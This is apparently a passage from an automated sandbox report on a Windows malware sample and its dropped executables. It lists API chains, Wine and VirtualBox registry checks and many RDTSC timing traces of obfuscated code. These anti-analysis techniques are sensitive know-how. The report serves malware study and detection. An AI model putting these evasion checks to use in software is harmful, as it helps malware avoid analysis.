Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_008FF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,		8_2_008FF98E
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Code function: 8_2_00971C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,		8_2_00971C41

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found API chain indicative of sandbox detection

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Sandbox detection routine: GetForegroundWindow, DecisionNode, Sleep

graph_8-97861

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103F3CE second address: 103EBAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 or dword ptr [ebp+122D1939h], edx 0x0000000c push dword ptr [ebp+122D1265h] 0x00000012 pushad 0x00000013 ja 00007F99146B459Ch 0x00000019 or dword ptr [ebp+122D1932h], eax 0x0000001f popad 0x00000020 sub dword ptr [ebp+122D198Ah], eax 0x00000026 call dword ptr [ebp+122D18B8h] 0x0000002c pushad 0x0000002d pushad 0x0000002e pushad 0x0000002f mov dword ptr [ebp+122D32D6h], edi 0x00000035 mov ecx, 75AED8E5h 0x0000003a popad 0x0000003b popad 0x0000003c jmp 00007F99146B45A6h 0x00000041 xor eax, eax 0x00000043 pushad 0x00000044 mov edx, ecx 0x00000046 stc 0x00000047 popad 0x00000048 mov edx, dword ptr [esp+28h] 0x0000004c mov dword ptr [ebp+122D19A0h], ebx 0x00000052 mov dword ptr [ebp+122D374Ah], eax 0x00000058 jmp 00007F99146B45A3h 0x0000005d mov esi, 0000003Ch 0x00000062 xor dword ptr [ebp+122D19A0h], eax 0x00000068 add esi, dword ptr [esp+24h] 0x0000006c jmp 00007F99146B45A6h 0x00000071 lodsw 0x00000073 pushad 0x00000074 mov ecx, dword ptr [ebp+122D3812h] 0x0000007a mov ebx, dword ptr [ebp+122D37E2h] 0x00000080 popad 0x00000081 add eax, dword ptr [esp+24h] 0x00000085 mov dword ptr [ebp+122D32D6h], ecx 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f cmc 0x00000090 push eax 0x00000091 pushad 0x00000092 push eax 0x00000093 push edx 0x00000094 pushad 0x00000095 popad 0x00000096 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BA232 second address: 11BA236 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE72C second address: 11BE732 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE732 second address: 11BE73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE73C second address: 11BE742 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE742 second address: 11BE760 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99150F94F6h 0x00000008 jmp 00007F99150F94FDh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BE760 second address: 11BE784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 pushad 0x00000008 jmp 00007F99146B45A6h 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEA4A second address: 11BEA4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEA4E second address: 11BEA65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 jnp 00007F99146B45B4h 0x0000000f jo 00007F99146B459Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11BEA65 second address: 11BEA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jp 00007F99150F94F6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1B3C second address: 11C1B42 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1B42 second address: 103EBAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9508h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 7EF2A1CDh 0x00000010 mov ecx, edx 0x00000012 push dword ptr [ebp+122D1265h] 0x00000018 mov edi, dword ptr [ebp+122D3AB2h] 0x0000001e call dword ptr [ebp+122D18B8h] 0x00000024 pushad 0x00000025 pushad 0x00000026 pushad 0x00000027 mov dword ptr [ebp+122D32D6h], edi 0x0000002d mov ecx, 75AED8E5h 0x00000032 popad 0x00000033 popad 0x00000034 jmp 00007F99150F9506h 0x00000039 xor eax, eax 0x0000003b pushad 0x0000003c mov edx, ecx 0x0000003e stc 0x0000003f popad 0x00000040 mov edx, dword ptr [esp+28h] 0x00000044 mov dword ptr [ebp+122D19A0h], ebx 0x0000004a mov dword ptr [ebp+122D374Ah], eax 0x00000050 jmp 00007F99150F9503h 0x00000055 mov esi, 0000003Ch 0x0000005a xor dword ptr [ebp+122D19A0h], eax 0x00000060 add esi, dword ptr [esp+24h] 0x00000064 jmp 00007F99150F9506h 0x00000069 lodsw 0x0000006b pushad 0x0000006c mov ecx, dword ptr [ebp+122D3812h] 0x00000072 mov ebx, dword ptr [ebp+122D37E2h] 0x00000078 popad 0x00000079 add eax, dword ptr [esp+24h] 0x0000007d mov dword ptr [ebp+122D32D6h], ecx 0x00000083 mov ebx, dword ptr [esp+24h] 0x00000087 cmc 0x00000088 push eax 0x00000089 pushad 0x0000008a push eax 0x0000008b push edx 0x0000008c pushad 0x0000008d popad 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1B85 second address: 11C1BEC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99146B459Dh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D3976h] 0x00000015 jmp 00007F99146B45A2h 0x0000001a push 00000000h 0x0000001c mov edx, edi 0x0000001e call 00007F99146B4599h 0x00000023 push ecx 0x00000024 jg 00007F99146B4598h 0x0000002a pop ecx 0x0000002b push eax 0x0000002c push eax 0x0000002d js 00007F99146B459Ch 0x00000033 jnc 00007F99146B4596h 0x00000039 pop eax 0x0000003a mov eax, dword ptr [esp+04h] 0x0000003e push esi 0x0000003f pushad 0x00000040 pushad 0x00000041 popad 0x00000042 pushad 0x00000043 popad 0x00000044 popad 0x00000045 pop esi 0x00000046 mov eax, dword ptr [eax] 0x00000048 pushad 0x00000049 push esi 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1BEC second address: 11C1C07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F99150F9504h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1C07 second address: 11C1C19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1C19 second address: 11C1C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1C1E second address: 11C1CA9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov cx, bx 0x0000000c push 00000003h 0x0000000e pushad 0x0000000f pushad 0x00000010 jnc 00007F99146B4596h 0x00000016 mov ebx, dword ptr [ebp+122D38D6h] 0x0000001c popad 0x0000001d mov dword ptr [ebp+124543E2h], esi 0x00000023 popad 0x00000024 push 00000000h 0x00000026 sub dword ptr [ebp+122D1AD5h], eax 0x0000002c push 00000003h 0x0000002e push 00000000h 0x00000030 push esi 0x00000031 call 00007F99146B4598h 0x00000036 pop esi 0x00000037 mov dword ptr [esp+04h], esi 0x0000003b add dword ptr [esp+04h], 0000001Ch 0x00000043 inc esi 0x00000044 push esi 0x00000045 ret 0x00000046 pop esi 0x00000047 ret 0x00000048 push 7EF10D10h 0x0000004d jmp 00007F99146B45A1h 0x00000052 add dword ptr [esp], 410EF2F0h 0x00000059 mov cx, dx 0x0000005c lea ebx, dword ptr [ebp+12456A86h] 0x00000062 push edx 0x00000063 jmp 00007F99146B459Ah 0x00000068 pop esi 0x00000069 xchg eax, ebx 0x0000006a push eax 0x0000006b push edx 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CA9 second address: 11C1CAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CAD second address: 11C1CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CB1 second address: 11C1CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CB7 second address: 11C1CC1 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F99146B459Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CC1 second address: 11C1CD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push esi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F99150F94F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1CD5 second address: 11C1CD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1D25 second address: 11C1D2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1D2B second address: 11C1D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1D2F second address: 11C1D44 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jno 00007F99150F94F6h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1EB9 second address: 11C1EC3 instructions: 0x00000000 rdtsc 0x00000002 js 00007F99146B459Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1EC3 second address: 11C1F1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 47E87418h 0x0000000d mov si, AAB7h 0x00000011 push 00000003h 0x00000013 jl 00007F99150F94F8h 0x00000019 mov cl, 65h 0x0000001b mov edx, dword ptr [ebp+122D3A8Eh] 0x00000021 push 00000000h 0x00000023 mov edi, dword ptr [ebp+124543E2h] 0x00000029 push 00000003h 0x0000002b mov esi, dword ptr [ebp+122D3A22h] 0x00000031 call 00007F99150F94F9h 0x00000036 pushad 0x00000037 push ecx 0x00000038 jmp 00007F99150F9503h 0x0000003d pop ecx 0x0000003e jc 00007F99150F94FCh 0x00000044 push eax 0x00000045 push edx 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1F1B second address: 11C1F54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F99146B45A3h 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jns 00007F99146B45A0h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F99146B4598h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11C1F54 second address: 11C1F59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1BC4 second address: 11B1BC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1BC8 second address: 11B1BD2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F99150F94F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1BD2 second address: 11B1BDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11B1BDB second address: 11B1BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E1EEE second address: 11E1F04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jg 00007F99146B459Ch 0x0000000b pop ecx 0x0000000c pushad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2245 second address: 11E224D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E224D second address: 11E2265 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99146B459Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a jl 00007F99146B4596h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E23DC second address: 11E23E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E23E2 second address: 11E23E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E23E6 second address: 11E23EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E23EA second address: 11E23FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnp 00007F99146B45B0h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7D0E second address: 11D7D16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7D16 second address: 11D7D25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B459Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11D7D25 second address: 11D7D37 instructions: 0x00000000 rdtsc 0x00000002 je 00007F99150F94F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F99150F94FCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E2C9F second address: 11E2CA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3368 second address: 11E3396 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99150F9502h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F99150F9508h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E3396 second address: 11E339A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E78F2 second address: 11E78F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E69D5 second address: 11E69EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99146B45A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E69EF second address: 11E69F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7BE5 second address: 11E7BFF instructions: 0x00000000 rdtsc 0x00000002 js 00007F99146B4598h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 jnl 00007F99146B4596h 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7BFF second address: 11E7C26 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F99150F94F8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F99150F9507h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7D84 second address: 11E7D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E8F24 second address: 11E8F2E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F99150F94F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE867 second address: 11EE899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F99146B459Ah 0x0000000d pop eax 0x0000000e jnl 00007F99146B45A9h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE899 second address: 11EE8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99150F9507h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EE8B4 second address: 11EE8D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F99146B45A5h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ACA8D second address: 11ACA92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD69 second address: 11EDD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD6D second address: 11EDD71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD71 second address: 11EDD97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jl 00007F99146B4596h 0x00000012 pop edx 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD97 second address: 11EDD9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11EDD9F second address: 11EDDDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99146B45A6h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F99146B45A9h 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
